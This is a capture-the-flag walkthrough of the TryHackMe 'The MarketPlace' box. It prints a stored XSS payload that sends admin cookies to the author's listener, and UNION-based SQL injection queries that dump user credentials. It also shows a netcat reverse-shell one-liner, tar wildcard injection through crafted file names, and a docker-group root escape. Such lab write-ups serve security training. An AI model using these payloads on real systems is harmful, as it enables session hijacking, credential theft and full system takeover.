TryHackme : The MarketPlace Walkthrough
In this article we are going to solve another boot2root challenge from TryHackMe that is The MarketPlace. It is a medium rated box, so let's begin.
Walkthrough
So as usual I started with nmap scan to find open ports and service using the command shown below :-
┌─[m4g1c14n@parrot]─[~/Desktop/hackme/market]
└──╼ $nmap -sC -sV -Pn 10.10.144.119 -T4 --max-rate=1000 -o nmap.txt
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c8:3c:c5:62:65:eb:7f:5d:92:24:e9:3b:11:b5:23:b9 (RSA)
| 256 06:b7:99:94:0b:09:14:39:e1:7f:bf:c7:5f:99:d3:9f (ECDSA)
|_ 256 0a:75:be:a2:60:c6:2b:8a:df:4f:45:71:61:ab:60:b7 (ED25519)
80/tcp open http nginx 1.19.2
| http-robots.txt: 1 disallowed entry
|_/admin
|_http-server-header: nginx/1.19.2
|_http-title: The Marketplace
32768/tcp open http Node.js (Express middleware)
| http-robots.txt: 1 disallowed entry
|_/admin
|_http-title: The Marketplace
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
So I started to explore the website on port 80/HTTP and found that it is some kind of online shopping website.
On the navigation bar I found a login page, tried some SQL injection payloads there but they didn't work, also I tried sqlmap but no result, next I went to the signup page to register myself, now by using those credentials I can login into the website.
I started enumerating the web app and found some web pages there, probably I can use them to gain some good information about the target, so I started with the Home page and found two items there and I clicked on the Dell Laptop and it redirected me to some other page.
Option "Report listing to admins" looks some different for me, after clicking on that I got a message :-
From system
Thank you for your report. One of our admins will evaluate whether the listing you reported breaks our guidelines and will get back to you via private message. Thanks for using The Marketplace!
After this I clicked on the messages section and found another message from the system.
From system
Thank you for your report. We have reviewed the listing and found nothing that violates our rules.
So after some enumeration I made a list of users
jake
system
admins
michael
I tried to brute force their website credentials but no luck then I also tried to brute force SSH credentials but failed again. Next I again logged into the web app with my credentials and found a page and from there I can create a new listing, first thought that came in my mind was XSS , I tried with a very basic XSS payload <script>alert(1)</script>
After submitting, the new listing payload executed, and I got a pop-up with message "1". Now it was clear that XSS will be used to gain initial the shell, but how ? Then I remembered that XSS can be used to steal the cookies of high privileged user, So I again created a new listing and this time I used this payload.
<script>new Image().src="http://10.8.21.100:1234/bogus.php?output="+document.cookie;</script>
Before submitting this payload I started a listener on my local system on port 1234 and then I submitted the new listing and after submitting I got the request header on my local system.
┌─[m4g1c14n@parrot]─[~/Desktop/hackme/market]
└──╼ $nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.8.21.100] from (UNKNOWN) [10.8.21.100] 43900
GET /bogus.php?**output=token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjQsInVzZXJuYW1lIjoiY3liZXIiLCJhZG1pbiI6ZmFsc2UsImlhdCI6MTYwMzI1NTc3Mn0.XFgO3ci8vuX_vvcAOeRhducv_RFGgqttCvQuI2FwonE** HTTP/1.1
Host: 10.8.21.100:1234
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: image/webp,image/apng,image/*,*/*;q=0.8
Referer: http://10.10.144.119/item/5
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
But that's not what I want because I got my own token/cookie/session, I want the cookie of some high privileged user, then I remembered that there is a option "Reporting Listing to the Admins"
When I clicked on this option I received the request header of some other user because the token/cookie was different from the previous one I received.
┌─[m4g1c14n@parrot]─[~/Desktop/hackme/market]
└──╼ $nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.8.21.100] from (UNKNOWN) [10.10.144.119] 33228
GET /bogus.php?**output=token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjIsInVzZXJuYW1lIjoibWljaGFlbCIsImFkbWluIjp0cnVlLCJpYXQiOjE2MDMyNTc3Nzl9.Tt1_4wFLDydqatc32qabzzgeRiPtoVqPUGwGh6Ittcg** HTTP/1.1
Host: 10.8.21.100:1234
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/85.0.4182.0 Safari/537.36
Accept: image/webp,image/apng,image/*,*/*;q=0.8
Referer: http://localhost:3000/item/5
Accept-Encoding: gzip, deflate
Accept-Language: en-US
Now I was sure that by editing the token/cookie I can gain access to the admin panel.
And after refreshing the web page I got access to the admin panel.
Now I clicked on the Administration panel and found a list of users and also the first flag, I clicked on one of the users and it redirected me to a new page with a url like this http://10.10.144.119/admin?user=1
. Now to check for sql injection I simply changed it to http://10.10.144.119/admin?user=1'
and got an error based sql injection.
I was a little confused while using sqlmap , so I went for the manual sql injection. First of all we need to balance the query, and balancing the query here was so simple I just simply add the line:
http://10.10.144.119/admin?user=1%20order%20by%201
And this gave me no error. Now I started to increase the numbers like order by 1, order by 2 and so on..and I got error on order by 5 means there are 4 records in the database. Now we need to find the number of that record where we can inject our sql query and for that simply we can use the union query like this:
http://10.10.144.119/admin?user=1%20union%20select%201,2,3,4
But this payload didn't worked as I expected, may be the reason is that user=1 exist means this part of the query is getting true and next part was not executed so to execute the union select query part we need to make the first query false by giving a value which doesn't exist like user=10 and yes this time it worked.
Now to get the name of the database we can use this query like this :-
http://10.10.144.119/admin?user=10%20union%20select%201,database(),3,4
To fetch name of all the tables we can use this query :-
user=10%20union%20select%201,group_concat(table_name),3,4%20from%20information_schema.tables%20where%20table_schema=database()
Now we want to fetch the column names inside the table users and for that we are going to use the query :-
http://10.10.144.119/admin?user=10%20union%20select%201,group_concat(column_name),3,4%20from%20information_schema.columns%20where%20table_name=%27users%27
Now we can dump all the data present in these columns using the query:
http://10.10.144.119/admin?user=10%20union%20select%201,group_concat(username,password),3,4%20from%20users;
I tried cracking those hashes but failed, next I started to enumerate other tables and found an interesting thing and using that I can login in the system using SSH as user jake.
┌─[m4g1c14n@parrot]─[~/Desktop/hackme/market]
└──╼ $ssh jake@10.10.144.119
The authenticity of host '10.10.144.119 (10.10.144.119)' can't be established.
ECDSA key fingerprint is SHA256:nRz0NCvN/WNh5cE3/dccxy42AXrwcJInG2n8nBWtNtg.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.144.119' (ECDSA) to the list of known hosts.
jake@10.10.144.119's password:
.
.
.
jake@the-marketplace:~$ id
uid=1000(jake) gid=1000(jake) groups=1000(jake)
Privilege Escalation
Now using the command sudo -l
I checked the user privileges and found an interesting thing there.
jake@the-marketplace:~$ sudo -l
Matching Defaults entries for jake on the-marketplace:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User jake may run the following commands on the-marketplace:
(michael) NOPASSWD: /opt/backups/backup.sh
jake@the-marketplace:~$
I changed the directory to /opt/backups/
and found two files there, one is backup.sh
and another is backup.tar
and by looking at the backup.sh it looks like we can do wildcard injection to gain access to Michael's shell.
jake@the-marketplace:/opt/backups$ cat backup.sh
#!/bin/bash
echo "Backing up files...";
tar cf /opt/backups/backup.tar *
First of all we need to create a netcat reverse shell to get the reverse connection and for that I have used msfvenom.
┌─[m4g1c14n@parrot]─[~/Desktop/hackme/market]
└──╼ $msfvenom -p cmd/unix/reverse_netcat lhost=10.8.21.100 lport=1234 R
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 101 bytes
mkfifo /tmp/jcprukr; nc 10.8.21.100 1234 0</tmp/jcprukr | /bin/sh >/tmp/jcprukr 2>&1; rm /tmp/jcprukr
Now copy the payload part and start a nc listener on your local system using the command nc -nvlp 1234
, and paste the payload in a file in victim system like this:
jake@the-marketplace:~$ echo 'mkfifo /tmp/jcprukr; nc 10.8.21.100 1234 0</tmp/jcprukr | /bin/sh >/tmp/jcprukr 2>&1; rm /tmp/jcprukr
> ' > shell.sh
jake@the-marketplace:~
Now we need to use these commands in order to get the reverse shell.
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1
sudo -u michael /opt/backups/backup.sh
Backing up files...
tar: /opt/backups/backup.tar: Cannot open: Permission denied
tar: Error is not recoverable: exiting now
But the last command give me an error so I decided to move the backup.tar to bk.tar and again run this command because on backup.tar only jake has privileges so after I changed the backup.tar to bk.tar I again run the command sudo -u michael /opt/backup/backup.sh
and this time I got a reverse connection as user Michael.
┌─[m4g1c14n@parrot]─[~/Desktop/hackme/market]
└──╼ $nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.8.21.100] from (UNKNOWN) [10.10.144.119] 36678
id
uid=1002(michael) gid=1002(michael) groups=1002(michael),999(docker)
Umm we are in the docker group! nice, now I simply use the method described in GTFO Bins and finally got the root.
python -c'import pty;pty.spawn("/bin/bash")'
michael@the-marketplace:~$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh
.
.
.
# cat root.txt
cat root.txt
THM{d4f76179*********}
#
We completed this challenge , hope you like the walkthrough :)
NOTE: The awesome artwork used in this article was created by Ilya Sedykh.